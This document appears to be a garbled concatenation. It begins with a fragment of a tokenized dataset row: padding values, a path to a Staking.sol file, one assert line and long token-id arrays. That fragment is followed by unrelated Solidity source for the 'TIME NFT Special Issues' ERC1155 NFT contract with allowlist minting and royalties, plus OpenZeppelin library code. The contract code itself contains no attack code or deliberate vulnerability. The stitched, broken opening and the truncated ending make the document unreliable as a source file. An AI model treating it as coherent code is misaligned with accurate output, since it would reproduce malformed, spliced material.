-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xd0f330338c533a0394d1533E47a8a4425E0Fd076/sources/contracts/Staking.sol | Ensures outputTokens >= 0
| assert(poolFraction >= derivativeTokenGiven * scaleFactor); | 9,496,540 | [
1,
19869,
876,
5157,
1545,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
1815,
12,
6011,
13724,
1545,
16417,
1345,
6083,
380,
3159,
6837,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
/**
* @title TIME NFT Special Issues
* @author Transient Labs
*/
/*
_____ ___ __ __ _____ _ _ _____ _____
|_ _|_ _| \/ | ____| | \ | | ___|_ _|
| | | || |\/| | _| | \| | |_ | |
| | | || | | | |___ | |\ | _| | |
_|_| |___|_| |_|_____| |_| \_|_| ___ |_|
/ ___| _ __ ___ ___(_) __ _| | |_ _|___ ___ _ _ ___ ___
\___ \| '_ \ / _ \/ __| |/ _` | | | |/ __/ __| | | |/ _ \/ __|
___) | |_) | __/ (__| | (_| | | | |\__ \__ \ |_| | __/\__ \
|____/| .__/ \___|\___|_|\__,_|_| |___|___/___/\__,_|\___||___/
|_|
___ __ __ ______ _ __ __ __
/ _ \___ _ _____ _______ ___/ / / / __ __ /_ __/______ ____ ___ (_)__ ___ / /_ / / ___ _/ / ___
/ ___/ _ \ |/|/ / -_) __/ -_) _ / / _ \/ // / / / / __/ _ `/ _ \(_-</ / -_) _ \/ __/ / /__/ _ `/ _ \(_-<
/_/ \___/__,__/\__/_/ \__/\_,_/ /_.__/\_, / /_/ /_/ \_,_/_//_/___/_/\__/_//_/\__/ /____/\_,_/_.__/___/
/___/
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./EIP2981MultiToken.sol";
contract TIMENFTSpecialIssues is ERC1155, EIP2981MultiToken, Ownable {
struct TokenDetails {
bool created;
bool mintStatus;
uint64 availableSupply;
uint256 price;
string uri;
bytes32 merkleRoot;
mapping(address => bool) hasMinted;
}
mapping(uint256 => TokenDetails) private _tokenDetails;
address public adminAddress;
address payable public payoutAddress;
string public constant name = "TIME NFT Special Issues";
modifier isAdminOrOwner {
require(msg.sender == adminAddress || msg.sender == owner(), "Address not allowed to execute airdrop");
_;
}
constructor(address admin, address payoutAddr) ERC1155("") EIP2981MultiToken() Ownable() {
adminAddress = admin;
payoutAddress = payable(payoutAddr);
}
/**
* @notice function to create a token
* @dev requires owner
* @param tokenId must be a new token id
* @param supply is the total supply of the new token
* @param mintStatus is a bool representing initial mint status
* @param price is a uint256 representing mint price in wei
* @param uri_ is the new token uri
* @param merkleRoot is the token merkle root
* @param royaltyRecipient is an address that is the royalty recipient for this token
* @param royaltyPerc is the percentage for royalties, in basis (out of 10,000)
*/
function createToken(uint256 tokenId, uint64 supply, bool mintStatus, uint256 price, string memory uri_, bytes32 merkleRoot, address royaltyRecipient, uint256 royaltyPerc) external onlyOwner {
require(_tokenDetails[tokenId].created == false, "Token ID already exists");
require(royaltyRecipient != address(0), "Royalty recipient can't be the 0 address");
require(royaltyPerc < 10000, "Royalty percent can't be more than 10,000");
_tokenDetails[tokenId].created = true;
_tokenDetails[tokenId].availableSupply = supply;
_tokenDetails[tokenId].mintStatus = mintStatus;
_tokenDetails[tokenId].price = price;
_tokenDetails[tokenId].uri = uri_;
_tokenDetails[tokenId].merkleRoot = merkleRoot;
_royaltyAddr[tokenId] = royaltyRecipient;
_royaltyPerc[tokenId] = royaltyPerc;
}
/**
* @notice function to set available supply for a certain token
* @dev requires owner of contract
* @param tokenId is the token id
* @param supply is the new available supply for that token
*/
function setTokenSupply(uint256 tokenId, uint64 supply) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
_tokenDetails[tokenId].availableSupply = supply;
}
/**
* @notice sets the URI for individual tokens
* @dev requires owner
* @dev emits URI event per the ERC 1155 standard
* @param newURI is the base URI set for each token
* @param tokenId is the token id
*/
function setURI(uint256 tokenId, string memory newURI) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
_tokenDetails[tokenId].uri = newURI;
emit URI(newURI, tokenId);
}
/**
* @notice set token mint status
* @dev requires owner
* @param tokenId is the token id
* @param status is the desired status
*/
function setMintStatus(uint256 tokenId, bool status) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
_tokenDetails[tokenId].mintStatus = status;
}
/**
* @notice set token price
* @dev requires owner
* @param tokenId is the token id
* @param price is the new price
*/
function setTokenPrice(uint256 tokenId, uint256 price) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
_tokenDetails[tokenId].price = price;
}
/**
* @notice set token merkle root
* @dev requires owner
* @param tokenId is the token id
* @param root is the new merkle root
*/
function setMerkleRoot(uint256 tokenId, bytes32 root) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
_tokenDetails[tokenId].merkleRoot = root;
}
/**
* @notice function to set the admin address on the contract
* @dev requires owner of the contract
* @param newAdmin is the new admin address
*/
function setNewAdmin(address newAdmin) external onlyOwner {
require(newAdmin != address(0), "New admin cannot be the zero address");
adminAddress = newAdmin;
}
/**
* @notice function to set the payout address
* @dev requires owner of the contract
* @param payoutAddr is the new payout address
*/
function setPayoutAddress(address payoutAddr) external onlyOwner {
require(payoutAddr != address(0), "Payout address cannot be the zero address");
payoutAddress = payable(payoutAddr);
}
/**
* @notice function to change the royalty recipient
* @dev requires owner
* @dev this is useful if an account gets compromised or anything like that
* @param tokenId is the token id to assign this address to
* @param newRecipient is the new royalty recipient
*/
function setRoyaltyRecipient(uint256 tokenId, address newRecipient) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
require(newRecipient != address(0), "New recipient is the zero address");
_royaltyAddr[tokenId] = newRecipient;
}
/**
* @notice function to change the royalty percentage
* @dev requires owner
* @dev this is useful if the amount was set improperly at contract creation.
* @param tokenId is the token id
* @param newPerc is the new royalty percentage, in basis points (out of 10,000)
*/
function setRoyaltyPercentage(uint256 tokenId, uint256 newPerc) external onlyOwner {
require(_tokenDetails[tokenId].created, "Token ID not valid");
require(newPerc < 10000, "New percentage must be less than 10,0000");
_royaltyPerc[tokenId] = newPerc;
}
/**
* @notice function for batch minting the token to many addresses
* @dev requires owner or admin
* @param tokenId is the token id to airdrop
* @param addresses is an array of addresses to mint to
*/
function airdrop(uint256 tokenId, address[] calldata addresses) external isAdminOrOwner {
require(_tokenDetails[tokenId].created, "Token not created");
require(_tokenDetails[tokenId].availableSupply >= addresses.length, "Not enough token supply available");
_tokenDetails[tokenId].availableSupply -= uint64(addresses.length);
for (uint256 i; i < addresses.length; i++) {
_mint(addresses[i], tokenId, 1, "");
}
}
/**
* @notice function for users to mint
* @dev requires payment
* @param tokenId is the token id to mint
* @param merkleProof is the has for merkle proof verification
*/
function mint(uint256 tokenId, bytes32[] calldata merkleProof) external payable {
TokenDetails storage token = _tokenDetails[tokenId];
require(token.availableSupply > 0, "Not enough token supply available");
require(token.mintStatus == true, "Mint not open");
require(msg.value >= token.price, "Not enough ether attached to the transaction");
require(token.hasMinted[msg.sender] == false, "Sender has already minted");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(merkleProof, token.merkleRoot, leaf), "Not on allowlist");
token.hasMinted[msg.sender] = true;
token.availableSupply --;
_mint(msg.sender, tokenId, 1, "");
}
/**
* @notice function to withdraw ether from the contract
* @dev requires owner
*/
function withdrawEther() external onlyOwner {
payoutAddress.transfer(address(this).balance);
}
/**
* @notice function to return available token supply
* @dev does not throw for non-existent tokens
* @param tokenId is the token id
* @return uint64 representing available supply
*/
function getTokenSupply(uint256 tokenId) external view returns(uint64) {
return _tokenDetails[tokenId].availableSupply;
}
/**
* @notice function to see if an address has minted a certain token
* @dev does not throw for non-existent tokens
* @param tokenId is the token id
* @param addr is the address to check
* @return boolean indicating status
*/
function getHasMinted(uint256 tokenId, address addr) external view returns (bool) {
return _tokenDetails[tokenId].hasMinted[addr];
}
/**
* @notice function to see the mint status for a token
* @dev does not throw for non-existent tokens
* @param tokenId is the token id
* @return boolean indicating mint status
*/
function getMintStatus(uint256 tokenId) external view returns (bool) {
return _tokenDetails[tokenId].mintStatus;
}
/**
* @notice function to see the price for a token
* @dev does not throw for non-existent tokens
* @param tokenId is the token id
* @return uint256 with price in Wei
*/
function getTokenPrice(uint256 tokenId) external view returns (uint256) {
return _tokenDetails[tokenId].price;
}
/**
* @notice function to see the merkle root for a token
* @dev does not throw for non-existent tokens
* @param tokenId is the token id
* @return bytes32 with merkle root
*/
function getMerkleRoot(uint256 tokenId) external view returns (bytes32) {
return _tokenDetails[tokenId].merkleRoot;
}
/**
* @notice overrides supportsInterface function
* @param interfaceId is supplied from anyone/contract calling this function, as defined in ERC 165
* @return a boolean saying if this contract supports the interface or not
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, EIP2981MultiToken) returns (bool) {
return super.supportsInterface(interfaceId);
}
/**
* @notice function to return uri for a specific token type
* @param tokenId is the uint256 representation of a token ID
* @return string representing the uri for the token id
*/
function uri(uint256 tokenId) public view override returns (string memory) {
return _tokenDetails[tokenId].uri;
}
}
// SPDX-License-Identifier: MIT
/**
* @title EIP 2981 base contract
* @author Transient Labs
* @notice contract implementation of EIP 2981
*/
/*
___ __ __ ______ _ __ __ __
/ _ \___ _ _____ _______ ___/ / / / __ __ /_ __/______ ____ ___ (_)__ ___ / /_ / / ___ _/ / ___
/ ___/ _ \ |/|/ / -_) __/ -_) _ / / _ \/ // / / / / __/ _ `/ _ \(_-</ / -_) _ \/ __/ / /__/ _ `/ _ \(_-<
/_/ \___/__,__/\__/_/ \__/\_,_/ /_.__/\_, / /_/ /_/ \_,_/_//_/___/_/\__/_//_/\__/ /____/\_,_/_.__/___/
/___/
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "./IEIP2981.sol";
contract EIP2981MultiToken is IEIP2981, ERC165 {
mapping(uint256 => address) internal _royaltyAddr;
mapping(uint256 => uint256) internal _royaltyPerc; // percentage in basis (out of 10,000)
/**
* @notice override ERC 165 implementation of this function
* @dev if using this contract with another contract that suppports ERC 265, will have to override in the inheriting contract
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165) returns (bool) {
return interfaceId == type(IEIP2981).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @notice EIP 2981 royalty support
*/
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
require(_royaltyAddr[_tokenId] != address(0), "Royalty recipient can't be the 0 address");
return (_royaltyAddr[_tokenId], _royaltyPerc[_tokenId] * _salePrice / 10000);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
///
/// @dev Interface for the NFT Royalty Standard
///
interface IEIP2981 {
